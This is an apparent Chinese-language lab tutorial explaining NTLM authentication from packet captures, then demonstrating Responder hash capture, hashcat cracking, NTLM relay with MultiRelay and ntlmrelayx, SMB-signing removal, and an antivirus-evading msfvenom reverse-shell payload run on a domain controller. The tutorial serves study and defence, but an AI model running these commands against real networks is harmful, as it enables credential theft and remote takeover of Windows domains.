本次写的内容和知识点有点多，基本上可分为，简述三大认证，介绍本地认证和NTLM网络认证，NTLM网络认证的过程和原理，流量包分析NTLM网络认证，基于NTLM网络认证的缺陷展开攻击的方式，像是哈希传递，NTLM中继攻击，NTLM-hash的明文爆破，三个攻击方式，其中哈希传递我单独写了一篇文章，有兴趣的自行主页观看。
目录
3.3.NTLMv2 Response=NTProofStr+blob
3.4.NTProofStr = HMAC-MD5(NTLM-v2-Hash, （challenge+Blob）)
3.5.NTLM-v2-Hash=HMAC-MD5（NTLM-hash，(unicode（USERNAME+domain）)）
1.利用responder，截取win7上administrator用户的net-ntlm hash。
5.2.MultiRelayx结合responder进行NTLM中继攻击
2.关闭responder对应服务，防止后续MultiRelayx和Responder两者都占用产生冲突
5.3.SMBRelayx进行NTLM中继攻击前提解释（要用的是ntlmrelayx.py）
2.利用msfvenom结合ntlmrelayx.获得稳定的shell
1.Windows三大认证
1.1.NTLM本地认证（又叫Windows本地认证）
1.2.NTLM网络认证（工作组认证）
1.3.kerberos认证（域认证）
其中Kerberos认证与NTML认证都是属于网络认证，也可以将这个三种认证方式分为两大类，就是本地认证和网络认证，网络认证分为Kerberos认证和NTML认证。
1.4.Windows本地认证
1.4.1.SAM文件
总所周知，现在这个时代，登录任何的账号都需要输入账号和密码，比如登录B站的账号，实际上就是你输入的账号和密码被前端的代码通过网络请求发送到后端，后端再调用数据库，去比对账号和密码是否正确，这就是典型的网络认证（需要对比的数据保存在互联网上，通过网络请求去对比是否是合法用户）
当我们，在登录Windows电脑的时候（设有密码），在进入桌面之前，都会被要求先在登录框输入账号和密码，而输入的账号和密码则需要和电脑中的SAM文件里面的账号和密码进行对比，这就是典型的本地认证，详细过程如下。
首先，用户注销、重启、锁屏后，操作系统会让winlogon.exe显示登陆界面，也就是输入框界面，接收用户的输入信息后，将密码交给lsass进程，这个过程中会存一份明文密码，将明文密码加密成NTLM Hash，对SAM数据库进行比较认证。
Windows Logon Process（即winlogon.exe）：是Windows NT 用户登陆程序，用于管理用户登陆和退出。
LSASS：用于微软Windows系统的安全机制，它用于本地安全和登陆策略。
本地认证中用来处理用户输入密码的进程即lsass.exe，密码会在这个进程中明文保存，供该进程将密码计算成NTLM Hash与sam进行比对，我们使用mimikatz来获取的明文密码，便是在这个进程中读取到的。
1.5.LM 哈希和 NTML 哈希介绍
Windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中，用户信息存储在ntds.dit中，加密后为散列值,在本地环境中，用户信息存储在SAM文件中。Windows操作系统中的密码一般由两部分组成，一部分为 LM Hash,另一部分为NTLM Hash。
2.NTLM网络认证原理及其过程
2.1.NTLM网络认证协议简介
NTLM（New Technology LAN Manager）是一套Windows安全协议，被设计用于为用户提供包含完整性和机密性的身份验证技术。NTLM主要有NTLMv1、NTLMv2和NTLMv2 Session三个版本，最常见的是NTLMv2（也是本次实验使用的）。
举个例子就是，主机A想要访问主机B上的资源，就要向主机B发送一个存在于主机B上的一个账户（此为重点），主机B接收以后会在本地进行验证，如果验证成功，才会允许主机A进行相应的访问。
| 认证类型 | 传输内容 | 安全性 | 典型协议 |
|---|---|---|---|
| web站点认证 | 账号+密码（加密传输） | 依赖HTTPS和哈希算法 | HTTP/HTTPS |
| NTLM认证 | 质询-响应（无密码明文） | 易受中间人攻击/哈希破解 | SMB/NTLMSSP |
NTLM 协议是一种基于【质询Challenge/响应Response】认证机制，仅支持Windows的网络认证协议。
它主要分为协商、质询和验证三个步骤：
2.2.NTLM网络认证流程分析
实验环境
| 角色 | IP地址 | 操作系统 | 说明 |
|---|---|---|---|
| 客户端 | 192.168.206.8 | Windows 10 | 发起NTLM认证请求 |
| 服务端 | 192.168.206.97 | Windows Server | 提供共享资源（如SMB共享） |
(图中ip变了是因为内网ip动态分配了，不影响接下来的流程，只是一张图片让大家知道然后触发NTLM网络认证)
1.协商（Negotiate）
| 1. 协商 (Negotiate) | 客户端 → 服务端 (192.168.206.8 → 192.168.206.97) | SMB/445 | Type 1消息：声明客户端支持的NTLM版本、加密标志位（如NTLMSSP_NEGOTIATE_128） |
- 客户端在访问受限服务时，需要输入相应的用户名和密码，此时客户端将其进行预处理和转换，得到一份
NTLM Hash进行缓存（并不是直接哈希得到的）；- 然后发送协商请求包，包含（
NTLM Hash以及申请认证的服务信息等），记为（TYPE 1)
前四个都是协商包，协议一下，我们两个怎么交流，类似两个人在协商我们接下来用哪种语言交流之类的。
第五个数据包：
- 阶段: NTLMv2 Negotiate (Type 1)
- 关键字段:
NTLMSSP Message Type=1（协商请求）。NTLMSSP Flags=0xe28a8205：声明支持 NTLMv2、Unicode 编码、128 位加密等。- 客户端操作: 声明认证方式为 NTLMv2，未携带任何凭据。
上面这个数据包就是告诉客户端协商完了我要开始了，并且给你制定一些规则（flag）等
2.质询（Challenge）
| 2. 质询 (Challenge) | 服务端 → 客户端 (192.168.206.97 → 192.168.206.8) | SMB/445 | Type 2消息：服务端生成随机数 Challenge（如0xA1B2C3D4E5F6），要求客户端加密 |
- 服务端根据收到的协商请求包
TYPE 1后，如果判断其中的用户名（客户端用户名）存在，那么就会生成一个16字节的随机值Challenge（NTLMv1为8字节）；- 并结合支持的服务信息，生成一个质询（challenge）请求包，包含（
Challenge随机值以及支持的服务信息等），记为TYPE 2。
第六个数据包
- 阶段: NTLMv2 Challenge (Type 2)
- 关键字段:
NTLMSSP Message Type=2（质询请求）。- Challenge=16 字节随机值（如
0x0123456789abcdef0123456789abcdef），确认为 NTLMv2。Status=STATUS_MORE_PROCESSING_REQUIRED：要求客户端继续认证。- 触发登录框: 服务端要求客户端响应质询，客户端无缓存凭据，弹出登录框
3.认证响应(Authenticate Response)
这个是重中之重，是NTLM整个认证过程中的精髓所在
| 3. 认证响应 (Authentication Response) | 客户端 → 服务端 (192.168.206.8 → 192.168.206.97) | SMB/445 | Type 3消息：包含加密后的Challenge响应（NTLMv1/NTLMv2 Hash）和用户名（明文）等 |
客户端使用HMAC-MD5算法来对TYPE 2中的Challenge值进行消息摘要并得到NTLMv2 Response，并结合用户名、Challenge等生成Authenticate响应包，记为TYPE 3；
具体来说，客户端将①中得到的NTLM Hash和TYPE 2中的Challenge等作为HMAC-MD5的输入，得到一个摘要值，即NTLMv2 Response。
第7个数据包
- 阶段: NTLMv2 Authenticate (Type 3)
- Net-NTLMv2 Hash 完整结构：
- username::domain:challenge:HMAC-MD5:blob（后面分析的重点）
- 用户名: 客户端的用户名
- 域名: 客户端的域名或者是本地工作组
- Challenge: 来自包 6 的 16 字节值。
- HMAC-MD5: 使用用户密码的 NTLMv2 Hash 与 Challenge 计算得出。
- 时间戳: 8 字节时间戳（NTLMv2 独有字段，增强抗重放能力）。
4.服务端验证并应答(Reply)
| 4. 验证与应答 (Reply) | 服务端 → 客户端 (192.168.206.97 → 192.168.206.8) | SMB/445 | SMB Session Setup Response： - 状态码（如 STATUS_SUCCESS |
第8个数据包
SMB2 Session Setup Response
- 阶段: 服务端验证通过
- 关键字段:
Status=STATUS_SUCCESS：认证成功，建立 SMB 会话。- 验证逻辑:
服务端根据自己的本地用户名 检索本地 SAM 数据库中的 NTLMv2 Hash，使用相同算法验证 HMAC-MD5 值（可以先理解为就是response）和时间戳。
（大家现在不用管，这里面每个包的字段都是什么意思之类的，只要能明白验证的流程是个怎么回事就行）
以上是本地工作组的验证情况
5.域环境中的NTLM认证简述
而在域环境中，由于域控制器的存在（所有域用户的哈希值都存储在域控上的NTDS.dit中），服务器没办法直接进行“工作组验证流程”中的步骤④，只能作为“中间安全人”连通客户端和域控，并将验证过程交给域控。
前三个步骤基本和工作组类似（①协商请求、②质询请求和③认证请求），下面介绍域中新增的几个步骤：
④验证转发
服务器将收到的TYPE 3转发给域控制器，请求验证。
⑤验证回复采用和在工作组中的步骤④相同的方法来对认证请求进行验证，随后域控制器将验证结果返回给服务器。
⑥回复转达服务器将验证结果转达给客户端。
3.流量包层面彻底分析NTLM网络认证协议
前五个协商包不再分析，对理解原理没有太大的帮助
3.1.Challenge数据包的分析(Type 2)
这个数据包包含最重要的challenge
这个challenge叫做NTLM server challenge（就是从服务端发送过来的challenge，一定要带上服务端这三个字，不然后面会混淆）
NTLM Server Challenge: c2cf5b0dc6221f03
3.2.Response数据包的分析(Type 3)
看到NTLMv2 Response展开之后有好多内容，这个就是我们要分析的重点了，把所有的值全部拿出来，一个一个分析。
NTLMv2 Response :
aebf1c2fe2ee264f3b18a49742703dfd
01010000000000008bcfcb136cb4db0
143e0ac7273eeb08e0000000002001
200480041005a0055004b0049002d0
05000430001001200480041005a005
5004b0049002d00500043000400120
0480061007a0075006b0069002d005
000
NTProofStr:
aebf1c2fe2ee264f3b18a49742703dfd
NTLMv2 Client Challenge:
43e0ac7273eeb08e
仔细观察会发现NTLMv2 Response 的前16个字节（32 个字符的十六进制字符串）正好等于NTProofStr的值，并非巧合而是NTLMv2 Response=NTProofStr+blob
3.3.NTLMv2 Response=NTProofStr+blob
NTLMv2 Response由NTProofStr和blob两部分字符串拼接而成，所以接下来分别去分析，这两个字符串。（而blob中的一部分还包括NTLMv2 Client Challenge）
首先是
blob：
01010000
00000000
8bcfcb136cb4db01（这玩意我尝试去解时间戳，但是老是不对）
43e0ac7273eeb08e
0000000002001200
480041005a0055004b0049002d005000430001001200480041005a0055004b0049002d005000430004001200480061007a0075006b0069002d005000
Blob 的结构如下（简化）：
| 字节偏移 | 内容 | 描述 |
|---|---|---|
| 0x00 | 0x01010000 | 固定标志（Blob签名） |
| 0x04 | 0x00000000 | 保留字段 |
| 0x08 | Timestamp（8 字节） | 客户端当前时间（时间戳） |
| 0x10 | Client Challenge（8 字节） | ⚠️ 客户端随机数 |
| 0x18 | 保留（4 字节） | 通常为 0 |
| 0x1C | AV Pair（可选） | 认证上下文中的参数（如域名） |
然后是 NTProofStr这个字符串由3.4
3.4.NTProofStr = HMAC-MD5(NTLM-v2-Hash, （challenge+Blob）)
NTProofStr这个字符串由NTLM-v2-Hash值(作为密钥key2)+（challenge+blob）两部分进行HMAC-MD5加密。（challenge是NTLM Server Challenge: c2cf5b0dc6221f03，blob如上文）
而NTLM-v2-Hash由3.5
3.5.NTLM-v2-Hash=HMAC-MD5（NTLM-hash，(unicode（USERNAME+domain）)）
NTLM-v2-Hash=（USERNAME+domain）进行unicode编码之后再将 NTLM-Hash（ 作为密钥key1）和unicode编码之后的字符串，两者再进行 HMAC-MD5加密
（username和doamin是客户端的用户名大写，domain是域名或机器名，NTLM-hash是服务端本地用户的密码哈希值）
在wireshark流量分析的时候看到的是NTLMv2 Response，但是在平时拿工具去抓response的时候抓的时候都是Net-NTLM hash这个数据（又是一个新的名词，最后我们梳理再梳理，关于NTLM，NTLM-v2-hash，Net-NTLM-hash，NTLMv2 Response）
Net-NTLM hash这个数据并不在数据包里面存在，但是拿工具去抓的时候会存在这个格式， A电脑生成好response之后，发送给服务端（B电脑），这个格式不存在数据包里面，而是B电脑收到response会自动搞一个Net-NTLM Hash（这样好解释，其实不是这样的）。
而Net-NTLM Hash（v2）=username::domain:challenge:HMAC-MD5:blob
并且HMAC-MD5和NTProofStr相等（记住它,或者看下面解释）
解释：
疑问：
HMAC-MD5=NTProofStr为什么这两个相等，在外面上面的response分析中HMAC-MD5不是一个加密函数吗？这里为什么？HMAC-MD5 是加密函数吗？
解答：
不是。HMAC-MD5 是 基于哈希的消息认证码（Hash-based Message Authentication Code），其核心作用是：1.验证数据完整性：确保数据未被篡改。
2.身份验证：通过共享密钥（NTLM-v2-Hash）证明消息来源的合法性。
3.非加密：HMAC 不涉及加密（即不隐藏数据），而是生成一个固定长度的认证标签（NTProofStr）。疑问： 为什么说 "NTProofStr = HMAC-MD5(...)"？
解答：在 NTLMv2 流程中：
1.客户端计算：
NTProofStr = HMAC-MD5(NTLM-v2-Hash, Server_Challenge + Blob)
输入：密钥（NTLM-v2-Hash）和消息（Server_Challenge + Blob）。
输出：16 字节的 NTProofStr（即 HMAC-MD5 的结果）。
3.3 ，3.4 ，3.5都是解释response（NTLMv2 Response）是怎么组成的，其实就包括5部分
NTLM-hash+域名+用户名+challenge+blob（就blob是客户端发给服务端的，其他的都是服务端上自己就拥有的）
3.6.Net-NTLM hash简述
Net-NTLM Hash（v2）=username::domain:challenge:HMAC-MD5:blob
首先给一个结论，当我们在输入\\UNC路径的时候，会直接弹出来一个账号密码错误（此时还没有输入账号和密码）
说明此时已经进行了一次账号密码的输入（ 及进行了一次NTLM网络认证，只不过没有通过）
那么这个账号和密码是谁的呢？答案是我们客户端自己。
第一次是没有输入密码，默认使用客户端的账号和密码进行认证，uers是客户端的名字，认证失败，第二次输入账号和密码之后，数据包的user是服务端名字。
所以第一次其实使用的客户端的账号和密码，服务端那边对比的是Net-NTLM hash和用自己的一一系列东西生成的Net-NTLM hash做对比，发现不同，认证失败，登录框显示账号密码错误
可以把Net-NTLM hash当作response
获得Net-NTLM hash之后，需要用协议进行封装，然后才谈得上攻击，不同的协议产生不同的认证，进而导致不同的的攻击。
但是也不是说，SMB协议想封装就封装，这样毫无安全性可言，取决于协议是否支持，配置有没有问题，这个协议有没有漏洞等
1.暴力破解获得hash的值进而获得明文密码。
2.进行中继攻击。
4.Net-NTLM hash爆破明文密码（工作组环境）
4.1.实验环境
| 项目 | Windows 10 靶机 | Kali Linux 攻击机 |
|---|---|---|
| 操作系统 | Windows 10 | Kali Linux 2024 |
| IP地址 | 192.168.41.135 | 192.168.41.132 |
| 角色 | 被攻击目标 | 攻击者主机 |
| 关键工具/用途 | - 触发NTLM认证请求（如访问恶意共享或者错误理解） - 生成待破解的Net-NTLM哈希 | - Responder（捕获哈希） - Hashcat/John（爆破哈希） |
4.2.实验流程
1.利用responder，截取win7上administrator用户的net-ntlm hash。
sudo responder -I eth0 -v
-I eth0：指定监听网卡为eth0（需根据实际网卡名称修改，Kali中可能为eth0、ens33等）。-
-v：启用详细输出（Verbose），显示调试信息。
win10访问\\错误路径
responder捕捉到Net-NTLM hash（里面包含客户端的密码哈希值NTLM-hash）
然后利用hashcat对截取的net-ntlm hash进行爆破。（字典可以自己找，这个字典是我自己随便写的，目的是验证实验）
hashcat -m 5600 Net-NTLM-hash（把你抓到的直接复制到这里） top100.txt（本地字典) -o result.txt --force
ashcat: 这是启动 Hashcat 的命令。
-m 5600: 这里的
-m参数指定了哈希类型。5600是 Net-NTLMv2 哈希的标识符。Net-NTLM-hash: 这是你要破解的 Net-NTLM 哈希值。你需要将实际的哈希值替换这里的文本。
top100.txt: 这是包含你要使用的字典的文件（通常是明文密码列表）。Hashcat 会尝试使用这个字典中的每一个密码来破解给定的哈希。
-o result.txt: 这个选项指定了输出文件，将破解的结果写入
result.txt文件中。--force: 该参数用于强制执行命令，通常是在 Hashcat 检测到一些警告的情况下使用，比如 GPU 驱动问题等。在很多情况下，使用它可以忽略警告并继续执行
成功爆破出明文密码
稍微提一下，其实不仅是win10，就是win7的本地账号administrator和域管理用户PTH-wyj也可以依靠上面的方法抓到。
5.Net-NTLM hash relay攻击（域环境下）
5.1.实验环境
| 角色 | IP地址 | 操作系统 | 备注 |
|---|---|---|---|
| 攻击机（Kali） | 192.168.41.132 | Kali Linux | 运行 MultiRelayx.py 和 smbrelayx.py 工具，发起中继攻击。 |
| 受害者（Win7） | 192.168.41.20 | Windows 7 | 被窃取 Net-NTLM Hash 的目标，需触发其向攻击机发起 SMB 认证请求。 |
| 目标服务器 （win2012） | 192.168.41.10 | Windows Server 2012 | 攻击的最终目标，通过中继 Win7 的 Hash 获取其控制权（如管理员权限）。 |
实验前的必要准备
要关闭服务端的win2012的smb签名
可以去回顾一下这个3.6.Net-NTLM hash简述和抓取
5.2.MultiRelayx结合responder进行NTLM中继攻击
简述原理：
利用MultiRelayx.py进行NET-NTLM relay攻击，窃取win7的net-ntlm hash攻击，让win7去访问错误的\\unc路径，再由responder投毒诱导去访问kali，进而利用其凭证去控制winserver2012，从而获得winserver2012控制权。
图解过程
让win7输入错误的\\unc路径，然后kali通过responder投毒诱导win7，让win7误以为kali是目标服务器
实验流程
1.要关闭服务端的win2012的smb签名
cd /usr/share/responder/tools
sudo python RunFinger.py -i 192.168.41.10/24
切换到存放 Responder 工具的目录，然后以超级用户权限运行
RunFinger.py脚本，扫描指定的 IP 地址范围。
以下是针对扫描结果的 SMB签名状态分析 及 整理后的表格：
SMB签名状态解释
- SMB签名（Signing）: 用于验证数据包完整性和真实性，防止中间人攻击。
- 开启（True）: 通信强制签名，安全性高（默认服务器端开启）。
- 关闭（False）: 不验证数据包，存在被篡改或劫持的风险（客户端默认关闭）。
主机SMB签名状态表格
| IP地址 | 操作系统版本 | SMB版本 | 签名状态 | 其他关键信息 |
|---|---|---|---|---|
| 192.168.41.10 | Windows Server 2012 R2 (Build 9600) | SMB2 | 开启 | 域：WYJ，支持SMB1（不安全） |
| 192.168.41.10 | Windows Server 2012 R2 (Build 9600) | SMB1 | 关闭 | 域：WYJ，不支持空会话 |
| 192.168.41.20 | Windows 7 Enterprise (Build 7601) | SMB2 | 关闭 | 域：WYJ，支持SMB1（不安全） |
| 192.168.41.20 | Windows 7 Enterprise (Build 7601) | SMB1 | 关闭 | 域：WYJ，允许空会话（高风险） |
| 192.168.41.135 | Windows 10 (Build 19041) | SMB2 | 关闭 | 域：HAZUKI-PC，禁用SMB1（安全） |
服务端与客户端SMB签名配置的核心区别
| 配置项 | 服务端（LanmanServer） | 客户端（LanmanWorkstation） |
|---|---|---|
| 注册表路径 | HKLM\...\LanmanServer\Parameters | HKLM\...\LanmanWorkstation\Parameters |
| 功能定义 | 控制服务端是否强制要求客户端签名 | 控制客户端是否验证服务端的签名 |
| 默认值（Windows） | 1（开启，强制签名） | 0（关闭，不验证签名） |
| 关闭后的行为 | 允许客户端发送未签名的请求 | 客户端不检查服务端响应的签名 |
| 安全影响 | 高风险（服务端可能接受篡改的请求） | 中风险（客户端可能接收篡改的响应） |
关闭服务端的smb的签名
1.CMD命令
REM 关闭服务端SMB签名（不再强制要求签名）
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 0 /f
REM 关闭客户端SMB签名（不验证对方签名）
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" /v RequireSecuritySignature /t REG_DWORD /d 0 /f2. PowerShell命令
# 关闭服务端签名
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 0
# 关闭客户端签名
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 03. 生效方式
- 重启服务（推荐）：
powershell
Restart-Service -Name LanmanServer, LanmanWorkstation -Force - 或重启系统：
shutdown /r /t 0
成功关闭win2012的smb签名。
2.关闭responder对应服务，防止后续MultiRelayx和Responder两者都占用产生冲突
首先关闭responder对应服务:
sudo vim /usr/share/responder/Responder.conf
关闭smb和http
3.利用responder，开启responder嗅探或者叫投毒诱导:将win7诱导到kali
sudo responder -I eth0 -v
可以看到responder实时NTLM认证会话流，但是并不像第一个实验那样，抓到了Net-NTLM-hash，因为MultiRelay独占监听 445端口，
确保直接接收SMB请求，这里的Responder就只是一个投毒诱导的作用。
3.利用MultiRelay.py进行中继攻击
到工具的目录下/usr/share/responder/tools
sudo python3 MultiRelay.py -t 192.168.41.10 -u ALL
-t 指定的目标主机的 IP 地址。在这个例子中，目标是192.168.41.10 （dc域控）
-u参数指定要中继的用户名（此处为ALL，即中继所有可用的用户）。
中继成功。
图解过程
1.错误路径访问的完整攻击路线图（LLMNR/NBNS投毒场景）
阶段1：名称解析劫持
阶段2：认证流量捕获与中继
协议交互细节：
NTLM握手 完整传递：
- 攻击者机器成为透明代理
- 始终保持两个并行的SMB会话：
- Win7 <--> Kali
- Kali <--> DC
会话维持技巧：
- MultiRelay使用
KeepAlive包维持连接- 自动处理SMB会话超时（默认5分钟）
阶段3：权限提升与Shell获取
第二种让win7直接输入kali的ip
也可以中继成功
3.图解使用和不使用Responder的区别
对比两种攻击场景
| 特征 | 直接访问Kali IP | 错误路径访问 |
|---|---|---|
| 触发方式 | 用户主动输入攻击者IP | 名称解析投毒诱导 |
| 需要Responder | 否 | 是 |
| 攻击链路 | Win7→Kali→DC | Win7→(被投毒)→Kali→DC |
| 隐蔽性 | 低（有明显异常连接日志） | 高（看似正常名称解析） |
| 成功率 | 依赖用户行为 | 依赖网络协议配置 |
2. 两种触发方式的影响
| 触发方式 | 操作示例 | 中继攻击结果 |
|---|---|---|
| 直接访问攻击者IP | \\192.168.41.1\fake_share | ✅ 成功：客户端（Alice）的域凭据被中继到服务端，服务端向域控制器验证通过。 |
| 访问错误共享名 | \\file-server\share（不存在的错误路径） | ✅ 成功：Responder投毒后，客户端凭据被中继到服务端，域控制器验证通过。 |
路线图
Win7 --> [访问\\kali的ip] --> Kali:445(MultiRelay) --> 中继到 --> Win2012(DC)
Win7 --> [访问\\错误不存在的路径] --> kali（responde劫持让kali伪装成是win7要访问的机器）-->Kali:445(MultiRelay) --> 中继到 --> Win2012(DC)
5.2.5知识扩展
以下是分 工作组环境 和 域环境 详细说明两种触发方式的影响，并分析中继攻击能否成功认证到服务端：
一、工作组环境（非域环境）
1. 网络架构
- 客户端（Win7）：本地用户
Win7User，无域成员。 - 服务端（Win2012）：本地用户
ServerAdmin，无域成员，关闭SMB签名。 - 攻击者（Kali）：独立主机，伪装成共享服务器。
2. 两种触发方式的影响
| 触发方式 | 操作示例 | 中继攻击结果 |
|---|---|---|
| 直接访问攻击者IP | \\192.168.41.1\fake_share | ❌ 失败：服务端（Win2012）本地账户与客户端（Win7）无关联，无法通过认证。 |
| 访问错误共享名 | \\file-server\share（不存在） | ❌ 失败：同上，服务端本地账户与客户端无关，即使中继也无法通过认证。 |
3. 失败原因
- 本地账户隔离：
工作组环境中，服务端仅验证其本地账户（如ServerAdmin），而客户端凭据（如Win7User）在服务端不存在，无法通过认证。 - 无法横向移动：
即使捕获客户端的NTLM哈希，也无法直接用于访问服务端（除非服务端存在同名同密码账户）。
二、域环境
1. 网络架构
- 域控制器（DC）：管理域
EXAMPLE.COM。 - 客户端（Win7）：域用户
EXAMPLE\Alice，普通权限。 - 服务端（Win2012）：域成员，关闭SMB签名，共享目录允许域用户访问。
- 攻击者（Kali）：非域成员，通过中继利用域用户凭据。
2. 两种触发方式的影响
| 触发方式 | 操作示例 | 中继攻击结果 |
|---|---|---|
| 直接访问攻击者IP | \\192.168.41.1\fake_share | ✅ 成功：客户端（Alice）的域凭据被中继到服务端，服务端向域控制器验证通过。 |
| 访问错误共享名 | \\file-server\share（不存在） | ✅ 成功：Responder投毒后，客户端凭据被中继到服务端，域控制器验证通过。 |
3. 成功原因
- 统一身份验证：
域环境下，服务端通过域控制器验证客户端凭据。只要客户端用户（如EXAMPLE\Alice）在域内有权限，中继的认证即可通过。 - 权限继承：
若客户端用户拥有服务端共享目录的访问权限，攻击者可利用中继会话执行命令（如上传木马）。
三、关键差异总结
| 环境 | 认证方式 | 中继攻击可行性 | 依赖条件 |
|---|---|---|---|
| 工作组环境 | 本地SAM数据库验证 | ❌ 不可行 | 服务端需存在同名同密码账户（极低概率） |
| 域环境 | 域控制器（Kerberos/LDAP） | ✅ 可行 | 客户端用户有服务端访问权限 |
四、攻击流程示例（域环境）
1. 中继攻击步骤
- 触发客户端认证：
- Win7用户访问
\\file-server\share（不存在），Responder投毒将其重定向到Kali。
- Win7用户访问
- 捕获并中继凭据：
- Kali将Win7的NTLM认证中继到Win2012（关闭SMB签名）。
- 域控制器验证：
- Win2012将凭据提交给域控制器，验证
EXAMPLE\Alice的合法性。
- Win2012将凭据提交给域控制器，验证
- 执行高权限操作：
- 若
EXAMPLE\Alice是域管理员，攻击者可远程执行命令（如添加后门用户）。
- 若
2. 防御措施
- 强制启用SMB签名（域控制器默认开启，成员服务器需手动配置）。
- 禁用NTLM认证，仅使用Kerberos。
- 限制域用户权限（遵循最小权限原则）。
五、总结
- 工作组环境：中继攻击几乎不可行（需服务端存在同名密码账户）。
- 域环境：中继攻击极易成功，且可横向移动至整个域，需严格配置SMB签名和权限。
核心风险点：
域环境中，即使普通用户凭据被中继，也可能导致服务端沦陷（如通过PsExec提权）。因此，无论是否关闭SMB签名，域环境都应强制启用签名！
5.3.SMBRelayx进行NTLM中继攻击
前提解释（要用的是ntlmrelayx.py）
1.实验过程
记得responder记得运行
sudo responder -I eth0 -v
输入错误路径和正常的路径都可以，反正resonder已经在运行（投毒）了
sudo impacket-ntlmrelayx -t 192.168.41.10 -c whoami
1. 攻击成功的部分
- 日志关键行：
[*] Authenticating against smb://192.168.41.10 as WYJ/PTH-WYJ SUCCEED [*] Executed specified command on host: 192.168.41.10 nt authority\system
已成功通过 NTLM 中继，以
SYSTEM权限在目标192.168.41.10上执行了whoami。原因：你输入的 错误 UNC 路径（如
\\不存在的共享名）触发了 Win7 的 NTLM 认证请求，并被ntlmrelayx捕获后中继到目标。
错误原因分析
(1) 服务依赖错误（ERROR_DEPENDENT_SERVICES_RUNNING）
- 日志关键行：
impacket.dcerpc.v5.scmr.DCERPCSessionError: SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
原因：
ntlmrelayx在攻击过程中会尝试启动目标的 RemoteRegistry 服务（用于远程注册表操作），但在攻击结束后尝试停止该服务时，由于其他服务依赖该服务（如某些安全服务、监控工具等），导致停止失败。影响：此错误仅影响工具清理过程，不破坏已执行的命令结果（
whoami已成功执行）。(2) 多次无意义连接
- 日志关键行：
[*] SMBD-Thread-15 (process_request_thread): Connection from 192.168.41.20 controlled, but there are no more targets left!
原因：Win7 在触发 UNC 路径错误后，持续尝试重连到攻击者的 SMB 服务，但
ntlmrelayx默认只针对单目标执行一次攻击，后续连接因无目标可处理而被忽略。本质：工具设计逻辑问题，不影响首次攻击结果。
误解点：攻击实际上已经成功执行了
whoami，但你可能期待 持续控制目标机器 或 看到更多输出。工具特性：
ntlmrelayx是 单次中继工具，默认执行一次命令后不再处理后续请求（需手动重启或配置多目标）。
所以为了获取稳定且能多次执行命令的shell，利用msfvenom生成木马，在msf上做好监听。并利用smbrelayx.py（ntlmrelayx.py）对winServer2012进行中继攻击上传木马从而获得winServer2012的控制权。
2.利用msfvenom结合ntlmrelayx获得稳定的shell
1.生成木马（Payload）
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.41.132 LPORT=4444 -e x64/shikata_ga_nai -i 3 -f exe -o hack.exe
参数解释：
-p windows/x64/meterpreter/reverse_tcp: 使用 64 位 Meterpreter 反向 TCP Payload。
LHOST: 监听器 IP（攻击者机器的 IP）。
LPORT: 监听端口（例如 4444）。
-e x64/shikata_ga_nai: 使用编码器混淆代码（绕过杀软检测）。
-i 3: 编码迭代 3 次。（增加混淆强度）
-f exe: 输出格式为 EXE 文件。
-o hack.exe: 保存为 hack.exe。
2.设置 Metasploit（msf） 监听器
3.完整命令示例
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.41.132
set LPORT 4444
set AutoRunScript post/windows/manage/migrate # 关键：自动迁移进程
exploit # 前台运行，且收到一个会话后自动退出msf6 >
use exploit/multi/handler选择 Metasploit 的通用监听模块（
multi/handler）msf6 >
set PAYLOAD windows/x64/meterpreter/reverse_tcp指定 Payload 类型为反向 TCP 连接。必须与木马 Payload 一致：若生成的木马使用
reverse_tcp，此处必须设为相同值（不能是http或者其他的连接），否则连接失败msf6 >
set LHOST 192.168.41.132设置攻击者的本地 IP 地址（即接收反向连接的 IP，木马会通过此 IP 找到攻击者的监听服务，需确保目标机器能访问此 IP（如公网 IP 或同一内网）
msf6 >
set LPORT 4444设置本地监听的端口号
msf6 >
set AutoRunScript post/windows/manage/migrate
在Metasploit框架中，
AutoRunScript post/windows/manage/migrate的作用是确保Meterpreter会话的持久性和隐蔽性
+---------------------+ +---------------------+ +---------------------+
| 目标执行Payload | | 建立Meterpreter会话 | | AutoRunScript触发 |
| (触发反向连接) +---------> (连接到LHOST:LPORT) +---------> (自动运行迁移脚本) |
+---------------------+ +---------------------+ +-----------+-----------+
|
v
+---------------------+ +---------------------+ +-----------+-----------+
| 原始Payload进程 | | 迁移到新进程 | | 维持新会话 |
| (可能被删除/终止) <-----------+ (如explorer.exe) +---------> (依赖新进程存活) |
+---------------------+ +---------------------+ +---------------------+
msf6 > exploit
木马和监听都已经准备完成，准备把它放到win7上，然后通过它让win7来连接kali（反向连接）
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.41.132 LPORT=4444 -e x64/shikata_ga_nai -i 3 -f exe -o hack.exe
kali监听已经生成，等待win7（受害者来连接自己）
sudo impacket-ntlmrelayx -t 192.168.41.10 -e ./hack.exe
监听与捕获：
ntlmrelayx默认监听 SMB (445) 和 HTTP (80) 端口，等待客户端发起 NTLM 认证请求。中继到目标：
将捕获的认证请求转发到目标主机
192.168.41.132的 SMB 服务。执行载荷：
若中继成功，上传并运行
hack.exe，获取目标控制权。
现在只要客户端（win7）发起 NTLM 认证请求，就会被攻击。
拿下！（最后一直拿不到shell，快红温了）
后面都是总结还有一些疑问小解答。
关键步骤验证
步骤1：Responder投毒触发Win7认证请求
Win7尝试访问一个不存在的网络共享（如\\fake-share\files），Responder通过LLMNR/NBNS投毒将请求重定向到攻击机的SMB服务，导致Win7向攻击机发送NTLM认证请求。步骤2：ntlmrelayx中继认证到域控
ntlmrelayx捕获到Win7的NTLM认证后，将其转发到域控（-t 192.168.41.10）。如果域控未启用SMB签名，攻击机将成功冒充Win7，获得对域控的访问权限。步骤3：在域控上执行木马
